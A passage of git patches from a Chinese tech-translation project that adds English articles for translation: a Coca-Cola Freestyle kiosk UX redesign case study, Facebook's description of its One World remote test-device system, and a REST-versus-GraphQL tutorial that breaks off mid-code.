+A CocaCola Freestyle Kiosk Interface
+
+### **Objectives** ###
+
+- Understand the Kiosk and its UX
+- Identify pain points and UX obstacles
+- Improve UX/UI of the CocaCola Freestyle Kiosk Interface
+
+### Design Process ###
+
+![](https://cdn-images-1.medium.com/max/800/1*Jo9PS6PGeSzVPIJpSlnrLQ.png)
+
+Design process followed for this project
+
+I followed a simple design process for this redesign project.
+
+I’d never used the machine myself before. So I needed to understand how it worked, and its context of use. Observing how the machine was used in different restaurants and a movie theater provided the necessary context.
+
+Later I conducted some quick users tests and asked the users to think aloud as they were getting their drink. I made notes of what I observed and user quotes, and analyzed this data to make sense of it. This later drove the redesign presented in this post.
+
+### **Observation** ###
+
+I visited popular restaurants around my area where the machine is located. The main objective here was to understand the audience, environment, and contexts. I also found out about rush hours by speaking to the staff of the place.
+
+**Context**
+
+- The Kiosk is placed mainly in Restaurants and places of leisure such as movie theaters.
+- These places are rushed on weekends, holidays and certain times during the day.
+- There is usually a queue during rush hours.
+
+**End Users**
+
+The end users of the machine include
+
+- Age group: teens and above (excluding those unable to reach or operate the screen)
+- People with different calorie and caffeine preferences.
+
+### **Quick User Tests** ###
+
+- Number of participants: 4
+- Familiarity: 2 first time users, 2 returning users
+- Time: 8–9 minutes overall
+
+**Notes from user tests:**
+
+- Returning users knew exactly what drink they wanted. They were quick to pick the categories and were familiar with the UI.
+- The new users took longer to make a choice, and there was some back and forth between the different kind of main drink categories.
+- The new users were also confused about the “Push” button under the screen.
+- Some users wanted to “try” new flavors and mixes before filling up their cup with their preferred one. Due to this, there was a lot of back and forth as well.
+
+**Some user quotes**
+
+> “Woah, so many options!”
+
+> “My drink is usually over here <navigates to the drink’s button>”
+
+> “Do I need to hold the ‘Push’ button?”
+
+### Analysis ###
+
+The user tests gave me some good insight into the different issues with the interface, and user flows. To understand more about this, lets consider the current user flow. From the time a user stand before the Kiosk, to getting a drink, the process looks as shown below.
+
+#### Current user flow (using just the Kiosk) ####
+
+![](https://cdn-images-1.medium.com/max/800/1*zsd3Jch6qnl0JaerA700-g.png)
+
+User flow for getting drinks or creating mixes
+
+This is a best case user flow and applicable for most users. While it seems quite simple at the outset, the major obstacle to a smooth flow here is a cognitive overload if the user does not already have a drink in mind. **Each screen has anywhere between 8 to 15 drink options to choose from. Making a decision is quite taxing in such a scenario, and the existing design does not help with that.** This process is repeated taking up more time if the user wants to create a mix.
+
+#### Current user flow with mobile app ####
+
+![](https://cdn-images-1.medium.com/max/800/1*iOMdvGQAE33q_HYoXZZn1Q.png)
+
+User flow with the mobile app
+
+Using the app simplifies the process on the kiosk slightly. It saves time by having mixes ready for the users, so they don’t have to navigate and pick each time.
+
+#### Pain points ####
+
+From user tests and comments from [many users online](https://www.facebook.com/IHateTheCocaColaFreestyleDrinkMachine/), these are the pain points I discovered
+
+![](https://cdn-images-1.medium.com/max/800/1*rJ48-RHDEqtJJNfqK0kgSw.jpeg)
+
+A screen showing 15 drink options!
+- Cognitive overload from too many options ([according to Hick’s Law](https://en.wikipedia.org/wiki/Hick%27s_law))
+- Lots of back and forth for new users and for users wanting to mix flavors
+- Initial confusion with push button
+- Screen timeout too short — creates a sense of urgency
+- Filters are either caffeine free or low calorie, but not both
+- Takes too long to get some of the regular flavors such as Coke or Sprite
+
+### Redesign ###
+
+Based on the findings in the previous stage, the UX can be refined as shown below. The companion mobile app has also been considered for the redesign. First lets look at some goals, constraints and assumptions made for the redesign.
+
+#### Goals for redesign ####
+
+- Reduce the number of steps to get a drink for most people
+- Reduce cognitive load
+- Make it easier to create mixes
+- Make navigation easier
+
+#### **Constraints** ####
+
+- The main constraint is the touchscreen. It is resistive touch, and works well for tap interactions, but not well suited for more advanced gestures.
+
+#### Assumptions ####
+
+- The Kiosk provides data back to CocaCola (or the maintaining company).
+- CocaCola and partners maintain and make use of this data for analysis and product enhancement.
+
+#### Sketches ####
+
+Sketches are very powerful in generating quick ideas. I arrived at the final redesign from these initial sketches.
+
+![](https://cdn-images-1.medium.com/max/800/1*YUdZ1df6gR97Ntz1jHVs_w.jpeg)
+
+Exploring some initial concepts
+
+![](https://cdn-images-1.medium.com/max/800/1*5Gab6nhVVNOHvP-kLBCY1Q.jpeg)
+
+Some drink mixing concepts
+
+#### Low-Fi screens ####
+
+These initial prototypes were made with Balsamiq. (These come after a lot of quick sketches)
+
+![](https://cdn-images-1.medium.com/max/1000/1*zBNUTKoV3u_vAM-i2ItgvA.png) 
+
+Left: Start screen || Right: after the user selects a drink
+
+Consider the screens above.
+
+Left: The start screen consists of the most popular drink products. Notice that the “low calorie” and “caffeine free” are filters. The user can select both, narrowing down the choices in subsequent screens.
+
+Right: After the user has made a drink choice, the system “recommends” 4 popular flavors for the selected main drink. Also notice that there are a total of 8 drink choices displayed here.
+
+How is this better? Well, using data backed recommendations, the design **makes it easier to select the 48 most popular drinks out of around a 100 total**.
+
+![](https://cdn-images-1.medium.com/max/1000/1*248PiUK1TkFRxuk2hvzQSw.png)
+
+Left: After selected drink has been finalized || Right: When the user is pouring the drink
+
+The above two screens show the flow for pouring a selected drink. Notice that the description reads “Press & Hold” addressing a user’s earlier confusion with the system. As a part of improving microinteractions, it also responds to the button press on the UI.
+
+Another important thing to notice — **the row of circles. These are drink recommendations that go well with the current drink.** The user can quickly press one of these options and add it to the drink mix. Again, **these are data backed recommendations.**
+
+![](https://cdn-images-1.medium.com/max/800/1*wje3sg8WTiqT0IGdXH6hXA.png)
+
+After the user selects the second drink to mix
+
+Other key points:
+
+- The design makes it easy to navigate. The pagination is an easy back and forth, and gives an idea of the total options available.
+- For mixing, the user can also always go back and select a different drink. The design makes an attempt to ease the process, but also gives the user flexibility to go back or start over.
+
+#### How this changes user flow ####
+
+Lets consider how this would change the user flow* for most people when backed by data driven insights.*
+
+![](https://cdn-images-1.medium.com/max/800/1*cyjjSL2T-qXC7uocWjDK8g.png)
+
+User flow with the redesign
+
+#### How the mobile app could further improve experience ####
+
+The mobile app already makes the experience better. But it could further be improved. Lets take a look at how we can currently choose drinks on the mobile app, and how it can be improved.
+
+![](https://cdn-images-1.medium.com/max/800/1*XG8SU63vMnjNmmsE1UAPzw.png)
+
+Left: Current screen to choose drink || Right: A design with pull down to search
+
+#### Hi-Fi screens ####
+
+Now lets take a look at some hi-fidelity designs. Based on some user feedback, there are some small changes compared to the low-fi version.
+
+![](https://cdn-images-1.medium.com/max/1000/1*dyJzBQnzaKCw1hFwONe-Nw.png)
+
+Left: The start screen. The interface shows the top 6 popular drinks on first page. || Right: Once the user taps on a drink, its variants appear as shown.
+
+One change on the start screen is the water icon has been moved to the top-right for more visibility, and the button also takes a circular shape to be in line with the drink icon shapes.
+
+![](https://cdn-images-1.medium.com/max/1000/1*tka8iXFvRQNEaDVwvYBz6g.png)
+
+Left: Once the user taps on a drink variant, its time to pour it into the cup. || Right: UI feedback when the user presses the “PUSH” button.
+
+These screens are a slight change from the low-fi designs. There is an additional column in the final version — “For other choices” beside mix drink recommendations. This communicates the users’ choices more clearly. If the users want a different drink or flavor from the recommended choices, it guides them to the next steps.
+
+![](https://cdn-images-1.medium.com/max/1000/1*65IQM2cIqVpx421UaZtrjQ.png)
+
+Left: Once the user taps on a recommended second drink to mix, this screen is shown. || Right: From the start screen (screen 1), clicking on the “Fruit Flavors” lead to this screen.
+
+The screen numbered 6 shows the “Fruit Flavors” selection. The 5 most popular flavors are show right on top and highlighted. Less popular flavors are displayed right below. There are 3 “mixed” flavors on the Kiosk, and these are listed under mix flavors. Selecting one f these options will display options similar to screen 2.
+
+A click through prototype:
+
+[![](https://marvelapp-live.storage.googleapis.com/serve/2017/5/18854dfb4ab14e5ba0da5aa0eb69942a.png)](https://marvelapp.com/28f7gbe?emb=1&referrer=https%3A%2F%2Fmedium.com%2Fmedia%2F1dba6e6eec95ce7b8611343aef3c1237%3FpostId%3Df77fc087c09)
+
+### Limitations of the design ###
+
+Even though the redesign addresses some key points, there are some limitations.
+
+- The design prioritizes the most popular options over the less common ones. It might take a few extra taps if the user has a less common option in mind.
+- If the users want to create a mix with flavors other than the recommended ones, they need to start over or head to the flavors scree and pick another drink.
+
+*Tools used for prototypes: Balsamiq, Sketch.*
+
+*Fruit icons are made by [*Freepik*](http://www.freepik.com) and [*Madebyoliver*](http://www.flaticon.com/authors/madebyoliver).*
+
+
+*If you liked this post, please click the little green heart below. It helps others discover the post, and puts a big smile on my face :)*
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 224eb30536cfc355fc0ba150a1b7db8ab8a0a20e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 26 May 2017 13:52:00 +0800
Subject: [PATCH 534/638] Create managing-resources-for-large-scale-testing.md

---
 ...aging-resources-for-large-scale-testing.md | 110 ++++++++++++++++++
 1 file changed, 110 insertions(+)
 create mode 100644 TODO/managing-resources-for-large-scale-testing.md

diff --git a/TODO/managing-resources-for-large-scale-testing.md b/TODO/managing-resources-for-large-scale-testing.md
new file mode 100644
index 00000000000..55a838d4c36
--- /dev/null
+++ b/TODO/managing-resources-for-large-scale-testing.md
@@ -0,0 +1,110 @@
+> * 原文地址：[Managing resources for large-scale testing](https://code.facebook.com/posts/1708075792818517/managing-resources-for-large-scale-testing/)
+> * 原文作者：[Jeffrey Dunn ](https://www.facebook.com/jd),[Alexander Mols ](https://code.facebook.com/posts/1708075792818517/managing-resources-for-large-scale-testing/#),[Lawrence Lomax ](https://www.facebook.com/lawrencelomax),[Phyllipe Medeiros ](https://code.facebook.com/posts/1708075792818517/managing-resources-for-large-scale-testing/#)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Managing resources for large-scale testing #
+
+As more people across the world connect on Facebook, we want to make sure our apps and services work well in a variety of scenarios. At Facebook's scale, this means testing hundreds of important interactions across numerous types of devices and operating systems for both correctness and speed before we ship new code.
+
+Last year, we introduced the [Facebook mobile device lab](https://code.facebook.com/posts/300815046928882/the-mobile-device-lab-at-the-prineville-data-center/), which lets engineers run tests by accessing thousands of mobile devices available in our data centers. Since then, we've built a new, unified resource management system, codenamed One World, to host these devices and other runtimes such as web browsers and emulators. Engineers at Facebook can use a single API to communicate with these remote resources within their tests and other automated systems. One World has grown to manage tens of thousands of resources and is used to execute more than 1 million jobs each day. At this scale, we have learned a lot, as we encountered unique challenges building a system that can deal with the complexities of device reliability while exposing an easy-to-use API.
+
+## Architecture ##
+
+In One World, we aim to support any application that an engineer might want to use with a remote runtime and minimal modifications to their code or environment. This means supporting standard communication mechanisms like adb (Android Debug Bridge) and providing the illusion that remote devices are connected locally. Our system consists of four main components:
+
+- **Runtime worker service:** Each resource type has its own runtime worker service that runs on machines managing the resource. The worker service manages the life cycle of the resource and responds to requests from clients to use its resources.
+- **One World daemon:** This lightweight service runs on machines that will connect to remote resources. The service implements the protocol to communicate with workers and sets up the environment to allow local processes to communicate with remote resources.
+- **Scheduler:** We use Jupiter, a job-scheduling service at Facebook, to match clients with workers whose available resources match their specified requirements.
+- **Satellite:** This minimal deployment of the worker service allows engineers to connect local resources to the global One World deployment. 
+
+![](https://fb-s-a-a.akamaihd.net/h-ak-fbx/v/t39.2365-6/18316440_1804938769822137_403114450602688512_n.jpg?oh=9d5a6207ce4edd70211834f2d49b61f3&oe=59AD8010&__gda__=1504176542_1c09041e9fae96b1dfc09e8d7d70923c)
+
+### Runtime worker service ###
+
+Each resource hosted in One World has a worker service with the following responsibilities:
+
+- **Resource configuration and setup:** Before receiving a job, most resources require some sort of initial setup. For mobile devices, this may include unlocking the device, disabling the lock screen, and configuring other system settings. For browsers, it may include starting a selenium stand-alone server to allow it to be controlled remotely.
+- **Health checks:** Physical devices fail after prolonged use, and devices in our labs receive much more use than the average personal device. Worker services have a series of checks that they run to make sure devices are in a healthy state before allowing a client to access them. Some health checks may require technicians to repair or remove the device, and others may be resolved in an automated fashion such as charging a device due to a low battery.
+- **Restoring state:** After a resource has been used, we need to prepare it for the next client. For resources such as emulators, simulators, and browsers, this can be a trivial process like rebooting from an image. Mobile devices present some unique challenges, as a complete reimage is time intensive and adds wear to internal flash storage. To restore to a known good state, worker services will take actions such as rebooting a device to reset most kernel settings, uninstalling applications, and wiping data partitions.
+
+Within the worker service, these steps are expressed as a state machine. Each state has monitoring and logging so we can understand bottlenecks in the system and failure rates by step. An example state machine might take the following form:
+
+![](https://fb-s-d-a.akamaihd.net/h-ak-fbx/v/t39.2365-6/18601820_1769494436695653_4055078421737242624_n.jpg?oh=895e499a3dbec724dd33e9c1027333eb&oe=59E82C93&__gda__=1503409907_c558f628c246a3db5ae93a5fc17c6d77)
+
+In this state machine example, the green steps indicate points where the worker interacts with the client. Tasks like configuration/setup and health checks can occur before a client even connects to a worker. These steps can take several minutes, so running them in advance allows for minimal latency when a client connects — often, our connection latency is as low as just a couple of seconds. Workers can take actions in response to the client request before handing the resource over for use. For example, if a resource is in a distant data center, installing applications on a device may be much faster if run locally on the host machine rather than over the network. After a client disconnects, the worker can attach additional metadata to the session that can be queried later. We use this to store logs (e.g., device logcat) and videos of sessions. By allowing the worker to add metadata asynchronously, the client does not have to wait for uploads to finish.
+
+Worker services are written in Python 3, which lets us run them on a variety of platforms including Linux, Mac OS, and Windows. A separate instance of the service is started for each managed resource. We attempt to isolate these service instances from each other on platforms that support it. On Linux, for example, this means launching each service in its own control group that has been configured to provide access only to the resource it controls.
+
+### Remote access to mobile test devices ###
+
+On Android, we want to support the full set of existing tools on One World, meaning that normal calls to adb must work within our system. Otherwise, every tool used at Facebook would need to be modified to be aware of One World, which would quickly spin out of control. One World runs adb servers on device hosts and provides the illusion of a local adb instance by establishing TCP tunnels. For example, we can create a TCP tunnel on port 5037, the standard adb port, and forward all traffic to the device host's adb instance. To support adb forward/reverse, we deploy a thin wrapper around the adb binary, which understands these commands and creates tunnels with two hops — first to the device host, then to the device itself.
+
+While the Android development environment has adb for interacting with an Android emulator or device, much of the tooling for iOS development is part of Xcode. As OneWorld runs iOS runtimes remotely, we needed a similar mechanism for remote interactions so that those runtimes could be used for running applications and different kinds of tests.
+
+In 2015, we open-sourced [FBSimulatorControl](https://l.facebook.com/l.php?u=https%3A%2F%2Fgithub.com%2Ffacebook%2FFBSimulatorControl&amp;h=ATNADrf_0HzpmcoObV1zOk2XTtIHrXavAMyY1-flC2Sd6dVlnc7n3iMuFRkywaXkkI0q5q7TWYYN5Ujyut2o3ECyl7zPyqRWYOLwcK0hTY3hXzkU2bh2M17J3bQPa-ba5ViBlDY&amp;s=1) , a project for controlling iOS simulators. We have since extended this project to allow for interfacing with devices, allowing us to accommodate many of the applications that we have at Facebook. Features of FBSimulatorControl include:
+
+- **Structured output for automation:** FBSimulatorControl reports on the status of devices and simulators in a machine-readable format suitable for interactions such as booting simulators and launching applications.
+- **Application management:** The most common automation scenarios on iOS include the installation and launching of our iOS applications. FBSimulatorControl provides a consistent interface for this across simulators and devices, removing the complexity from the One World worker service.
+- **Automation of the user interface:** iOS engineers may be familiar with the XCUITest framework for writing automated UI tests. At Facebook, we've built on top of this framework in our [WebDriverAgent](https://l.facebook.com/l.php?u=https%3A%2F%2Fgithub.com%2Ffacebook%2FWebDriverAgent&amp;h=ATMwVeLgcgHAP5TCr9ZLfipoNz1fAwLB4IHYW496fz0p3dp1tmNn4uMBLXCEFpUFNqRc8jW2d17l5Wz_eW6R8zXbJzlHsv57nD4hygzlPQ8_8LOotDQbfdpg8pfy3JcRfI3TezE&amp;s=1)  project, a WebDriver server that runs on iOS. This allows us to automate the user interface of our iOS applications from another machine without running additional software on the worker. Our end-to-end tests apply this to execute on a separate machine from runtime hosts, bringing big performance wins for test runtimes when parallelized.
+- **Remote invocation:** When reviewing the results of automated tests, additional diagnostic data can be useful. FBSimulatorControl provides APIs for collecting videos and logs from iOS simulators and devices that can then be accessed by clients.
+
+### One World daemon ###
+
+Rather than talk directly to the worker service, clients instead connect to a local daemon that handles the negotiation and environment setup. In this protocol, a client begins by creating a new session with the daemon. The session contains a specification of the type of runtime the client requires and the number of concurrent runtimes it needs. For example, when running a large test suite, a client may request a session for 20 concurrent Android emulators. The daemon prepares the requested resources by reserving a worker service instance and performing runtime-specific preparation steps. For Android sessions, this means setting up the appropriate TCP tunnels to listen on localhost and proxy the traffic to the adb daemon on the remote machine.
+
+As the client requires access to each reserved resource within its session, it will request a “lease” from the daemon. The daemon will respond with connection details or inform the client if the resource is not yet available. These connection details include information like the local ports to use for adb and FBSimulatorControl. After a client has finished using the resource, it releases it by calling in to the daemon again. At this point, the daemon then either frees the resource entirely to be used by a different client, or retains it to be reused within the same session if possible.
+
+Throughout the session, the workers and daemon communicate as part of the aforementioned state machine model. Once a worker becomes reserved through the scheduling service, it connects to the corresponding daemon to service the job. During the session, the daemon and worker will perform liveness checks, as either of them might die unexpectedly. Once the client has completed its session, the daemon sends a message to the worker to advance to the “restore state” part of its state machine.
+
+### Satellite mode ###
+
+While having access to managed remote resources allows clients to scale, sometimes engineers want to use the same tools on local devices to debug an issue. We offer a “satellite service” that allows engineers to connect a local resource to the One World cloud. This means the phone on your desk can be shared with any other engineer and used by all of Facebook's automation by just running a simple command. Like the worker services, the satellite service establishes a series of SSH tunnels from a local machine to One World to connect to the rest of the infrastructure. Targeting a satellite device instead of a managed device requires no code changes, and the satellite service sets up all required networking paths and publishes the resource's availability.
+
+## Using One World ##
+
+The One World daemon described above takes care of the heavy lifting of connecting to the service. We provide simple libraries to handle common patterns of communication with the daemon to enable engineers to easily integrate with One World. The code snippet below demonstrates the Python API for running an adb command on a One World device. It starts the One World daemon, and then `OneWorldADB` establishes a session and blocks until a device is available. A Python [context manager](https://l.facebook.com/l.php?u=https%3A%2F%2Fdocs.python.org%2F3%2Freference%2Fdatamodel.html%23context-managers&amp;h=ATO5hkqZRWzuwNi5_1HRuvGklNDxeNjLwsnXE8LgDZHrXy6CtYaGUxY7LWZnGM0RwqliGXGjSPlx5JBw3ZYDd-4qldsEXHnSNiUo8stqrtH718dXDAf1LyxuIrJw7pqoxmC94zc&amp;s=1) takes care of tearing everything down once the engineer's code has finished.
+
+```
+with OneWorldDaemon() as daemon, OneWorldADB(
+    daemon,
+    consumer='demo',
+    capabilities={'device-group': 'nexus-6'},
+) as adb:
+    adb.run('logcat')
+```
+
+Using multiple concurrent resources is also supported. The One World daemon manages these concurrent resources and, via the API, engineers implement their own system-specific functionality. In the example below, 10 emulators are used to run 100 jobs — the next job will be run as soon as a new emulator becomes available. The results variable at the end will contain 100 results returned by the `run_custom_test` method.
+
+```
+with OneWorldAndroidADB(daemon, num_emulators=10) as android:
+    futures = [
+       asyncio.ensure_future(
+           android.run_with_emulator(run_custom_test)
+       ) for _ in range(100)
+    ]
+    results = await asyncio.gather(*futures)
+```
+
+Ad hoc usage is supported through the CLI:
+
+![](https://fb-s-d-a.akamaihd.net/h-ak-fbx/v/t39.2365-6/18309310_1292402574212388_5475499375826305024_n.gif?oh=177a635620d29123d5698eef94681a1c&oe=59BA84D2&__gda__=1503712690_1d536092299639b8a5d09f47c88b3e56)
+
+## Applications ##
+
+Beyond providing an environment for the ad hoc use of resources, One World supports numerous infrastructure projects at Facebook, including: 
+
+- **End-to-end and integration testing:** On every code change to our apps, we run a large suite of tests to avoid introducing new bugs in our codebase. At Facebook's scale, thousands of code changes are made each day, resulting in hundreds of thousands of test runs. One World allows us to run these tests on emulators, simulators, and devices at this scale and provides quick feedback on results as engineers write code.
+- **[CT-Scan](https://code.facebook.com/posts/924676474230092/mobile-performance-tooling-infrastructure-at-facebook/):** Beyond finding bugs, we also carefully test our apps for performance regressions to make sure our apps run smoothly on a large variety of devices. One World provides access to the devices representative of those owned by people who use Facebook, and it allows CT-Scan to focus on testing performance rather than managing devices.
+- **[Sapienz](https://www.facebook.com/academics/photos/a.535022156549196.1073741825.144433258941423/1326609704057100/):** A multi-objective end-to-end testing system, Sapienz automatically generates test sequences using search-based software engineering to find crashes using the shortest path it can find. The Sapienz team can focus on the crash-finding algorithms while letting One World manage the emulators it uses.
+
+We have many important applications for One World today, but we expect our future work to greatly expand how we use One World in our engineering workflow. We're working on some exciting new features, including:
+
+- **Live streaming:** Engineers often want to reproduce bugs that are platform-specific. Sometimes having just a remote interface like adb isn't enough — you may want to scroll through News Feed, write comments, or tap the Like button. We're building a live streaming service that will allow engineers to interact with devices in our lab from within a web browser. This means they will be able to debug an issue on an obscure model of phone at the click of a button, all while sitting at their desk.
+- **Remote profiling:** The same code can have very different performance on different devices due to varying OS versions, hardware differences, and more. We're working on building a service that allows engineers to submit code and retrieve detailed profiler data across many devices simultaneously to understand how these factors impact their code's performance.
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From cf5c20aecf535c609d70feaa6faa58dcbaf2426f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 26 May 2017 14:02:41 +0800
Subject: [PATCH 535/638] Create rest-2-0-graphql.md

---
 TODO/rest-2-0-graphql.md | 322 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 322 insertions(+)
 create mode 100644 TODO/rest-2-0-graphql.md

diff --git a/TODO/rest-2-0-graphql.md b/TODO/rest-2-0-graphql.md
new file mode 100644
index 00000000000..fa905edf63f
--- /dev/null
+++ b/TODO/rest-2-0-graphql.md
@@ -0,0 +1,322 @@
+> * 原文地址：[REST 2.0 Is Here and Its Name Is GraphQL](https://www.sitepoint.com/rest-2-0-graphql/)
+> * 原文作者：[Michael Paris](https://www.sitepoint.com/author/mparis/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# REST 2.0 Is Here and Its Name Is GraphQL #
+
+![Abstract network design representing GraphQL querying data](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/05/1495045443Fotolia_71313802_Subscription_Monthly_M-1024x724.jpg) 
+
+GraphQL is a query language for APIs. Although it’s fundamentally different than REST, GraphQL can serve as an alternative to REST that offers performance, a great developer experience, and very powerful tools.
+
+Throughout this article, we’re going to look at how you might tackle a few common use-cases with REST and GraphQL. This article comes complete with three projects. You will find the code for REST and GraphQL APIs that serve information about popular movies and actors as well as a simple frontend app built with HTML and jQuery. 
+
+We’re going to use these APIs to look into how these technologies are different so that we can identify their strengths and weaknesses. To start, however, let’s set the stage by taking a quick look at how these technologies came to be.
+
+![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/04/14918074751489563681243c760b-dcef-4ab0-b6ac-9a1e1e654483.png)
+
+## Ending Soon: Get Every SitePoint Ebook and Course for FREE! ##
+
+87 Ebooks, 70 Courses and 300+ Tutorials all yours for FREE with ANY web hosting plan from SiteGround!
+[Claim This Deal!](https://www.sitepoint.com/premium/l/sitepoint-premium-siteground-ma) 
+
+## The Early Days of the Web ##
+
+The early days of the web were simple. Web applications began as static HTML documents served over the early internet. Websites advanced to include dynamic content stored in databases (e.g. SQL) and used JavaScript to add interactivity. The vast majority of web content was viewed through web browsers on desktop computers and all was good with the world.
+
+![Normal Image](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/05/1494257477001-TraditionalWebserver.png)
+
+## REST: The Rise of the API ##
+
+Fast forward to 2007 when Steve Jobs introduced the iPhone. In addition to the far-reaching impacts that the smartphone would have on the world, culture, and communications, it also made developers’ lives a lot more complicated. The smartphone disrupted the development status quo. In a few short years, we suddenly had desktops, iPhones, Androids, and tablets. 
+
+In response, developers started using [RESTful APIs](https://en.wikipedia.org/wiki/Representational_state_transfer) to serve data to applications of all shapes and sizes. The new development model looked something like this:
+
+![REST Server](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/05/1494257479002-RestfulServer.png)
+
+## GraphQL: The Evolution of the API ##
+
+GraphQL is a **query language for APIs** that was designed and open-sourced by Facebook. You can think of GraphQL as an alternative to REST for building APIs. Whereas REST is a conceptual model that you can use to design and implement your API, GraphQL is a standardized language, type system, and specification that creates a strong contract between client and server. Having a standard language through which all of our devices communicate simplifies the process of creating large, cross-platform applications. 
+
+With GraphQL our diagram simplifies:
+
+![GraphQL Server](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/05/1494257483003-GraphQLServer.png)
+
+## GraphQL vs REST ##
+
+Throughout the rest of this tutorial (no pun intended), I encourage you to follow along with code! You can find the code for this article in [the accompanying GitHub repo](https://github.com/sitepoint-editors/sitepoint-graphql-article). 
+
+The code includes three projects: 
+
+1. A RESTful API 
+2. a GraphQL API and 
+3. a simple client web page built with jQuery and HTML. 
+
+The projects are purposefully simple and were designed to provide as simple a comparison between these technologies as possible.
+
+If you would like to follow along open up three terminal windows and `cd` to the `RESTful`, `GraphQL`, and `Client` directories in the project repository. From each of these directories, run the development server via `npm run dev`. Once you have the servers ready, keep reading :)
+
+## Querying with REST ##
+
+Our RESTful API contains a few endpoints:
+
+![Markdown](http://i4.buimg.com/1949/6c5d1503224ef6b2.png)
+
+> **Note**: Our simple data model already has 6 endpoints that we need to maintain and document.
+
+Let’s imagine that we are client developers that need to use our movies API to build a simple web page with HTML and jQuery. To build this page, we need information about our movies as well as the actors that appear in them. Our API has all the functionality we might need so let’s go ahead and fetch the data.
+
+If you open a new terminal and run
+
+```
+curl localhost:3000/movies
+
+```
+
+You should get a response that looks like this:
+
+```
+[
+  {
+    "href": "http://localhost:3000/movie/1"
+  },
+  {
+    "href": "http://localhost:3000/movie/2"
+  },
+  {
+    "href": "http://localhost:3000/movie/3"
+  },
+  {
+    "href": "http://localhost:3000/movie/4"
+  },
+  {
+    "href": "http://localhost:3000/movie/5"
+  }
+]
+```
+
+In RESTful fashion, the API returned an array of links to the actual movie objects. We can then go grab the first movie by running `curl http://localhost:3000/movie/1` and the second with `curl http://localhost:3000/movie/2` and so on and so forth.
+
+If you look at `app.js` you can see our function for fetching all the data we need to populate our page:
+
+```
+const API_URL = 'http://localhost:3000/movies';
+function fetchDataV1() {
+
+  // 1 call to get the movie links
+  $.get(API_URL, movieLinks => {
+    movieLinks.forEach(movieLink => {
+
+      // For each movie link, grab the movie object
+      $.get(movieLink.href, movie => {
+        $('#movies').append(buildMovieElement(movie))
+
+        // One call (for each movie) to get the links to actors in this movie
+        $.get(movie.actors, actorLinks => {
+          actorLinks.forEach(actorLink => {
+
+            // For each actor for each movie, grab the actor object
+            $.get(actorLink.href, actor => {
+              const selector = '#' + getMovieId(movie) + ' .actors';
+              const actorElement = buildActorElement(actor);
+              $(selector).append(actorElement);
+            })
+          })
+        })
+      })
+    })
+  })
+}
+```
+
+As you might notice, this is less than ideal. When all is said and done we have made `1 + M + M + sum(Am)` round trip calls to our API where **M** is the number of movies and **sum(Am)** is the sum of the number of acting credits in each of the M movies. For applications with small data requirements, this might be okay but it would never fly in a large, production system.
+
+Conclusion? Our simple RESTful approach is not adequate. To improve our API, we might go ask someone on the backend team to build us a special `/moviesAndActors` endpoint to power this page. Once that endpoint is ready, we can replace our `1 + M + M + sum(Am)` network calls with a single request.
+
+```
+curl http://localhost:3000/moviesAndActors
+
+```
+
+This now returns a payload that should look something like this:
+
+```
+[
+  {
+    "id": 1,
+    "title": "The Shawshank Redemption",
+    "release_year": 1993,
+    "tags": [
+      "Crime",
+      "Drama"
+    ],
+    "rating": 9.3,
+    "actors": [
+      {
+        "id": 1,
+        "name": "Tim Robbins",
+        "dob": "10/16/1958",
+        "num_credits": 73,
+        "image": "https://images-na.ssl-images-amazon.com/images/M/MV5BMTI1OTYxNzAxOF5BMl5BanBnXkFtZTYwNTE5ODI4._V1_.jpg",
+        "href": "http://localhost:3000/actor/1",
+        "movies": "http://localhost:3000/actor/1/movies"
+      },
+      {
+        "id": 2,
+        "name": "Morgan Freeman",
+        "dob": "06/01/1937",
+        "num_credits": 120,
+        "image": "https://images-na.ssl-images-amazon.com/images/M/MV5BMTc0MDMyMzI2OF5BMl5BanBnXkFtZTcwMzM2OTk1MQ@@._V1_UX214_CR0,0,214,317_AL_.jpg",
+        "href": "http://localhost:3000/actor/2",
+        "movies": "http://localhost:3000/actor/2/movies"
+      }
+    ],
+    "image": "https://images-na.ssl-images-amazon.com/images/M/MV5BODU4MjU4NjIwNl5BMl5BanBnXkFtZTgwMDU2MjEyMDE@._V1_UX182_CR0,0,182,268_AL_.jpg",
+    "href": "http://localhost:3000/movie/1"
+  },
+  ...
+]
+```
+
+Great! In a single request, we were able to fetch all the data we needed to populate the page. Looking back at `app.js` in our `Client` directory we can see the improvement in action:
+
+```
+const MOVIES_AND_ACTORS_URL = 'http://localhost:3000/moviesAndActors';
+function fetchDataV2() {
